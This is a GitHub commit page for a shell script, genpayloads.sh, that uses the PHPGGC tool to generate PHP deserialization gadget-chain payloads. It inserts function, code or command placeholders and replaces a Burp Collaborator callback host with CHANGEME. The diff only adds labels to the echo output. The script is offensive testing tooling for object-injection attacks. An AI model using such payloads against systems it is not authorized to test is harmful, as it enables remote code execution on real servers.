Skip to content

Commit

Permalink
Update genpayloads.sh
Browse files Browse the repository at this point in the history
add more information on the payload
  • Loading branch information
ricardojba authored Oct 12, 2021
1 parent 97f8f07 commit fd44a13
Showing 1 changed file with 3 additions and 3 deletions.
6 changes: 3 additions & 3 deletions genpayloads.sh
Original file line number Diff line number Diff line change
Expand Up @@ -9,15 +9,15 @@ while read line; do
gadget=$(echo $line | cut -d' ' -f2) &&
if echo $line | grep -q "<function> <parameter>"; then
echo -e "\n"
echo $gadget
echo $gadget "<function> <parameter>"
~/phpggc/phpggc $options $gadget "$function" "$command" | sed 's/poi-slinger.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.burpcollaborator.net/CHANGEME/g' | jq -aR .
elif echo $line | grep -q "<code>"; then
echo -e "\n"
echo $gadget
echo $gadget "<code>"
~/phpggc/phpggc $options $gadget "$function('$command');" | sed 's/poi-slinger.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.burpcollaborator.net/CHANGEME/g' | jq -aR .
elif echo $line | grep -q "<command>"; then
echo -e "\n"
echo $gadget
echo $gadget "<command>"
~/phpggc/phpggc $options $gadget "$command?$(date +%s)" | sed 's/poi-slinger.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.burpcollaborator.net/CHANGEME/g' | jq -aR .
else
echo -e "\n"
Expand Down

0 comments on commit fd44a13

Please sign in to comment.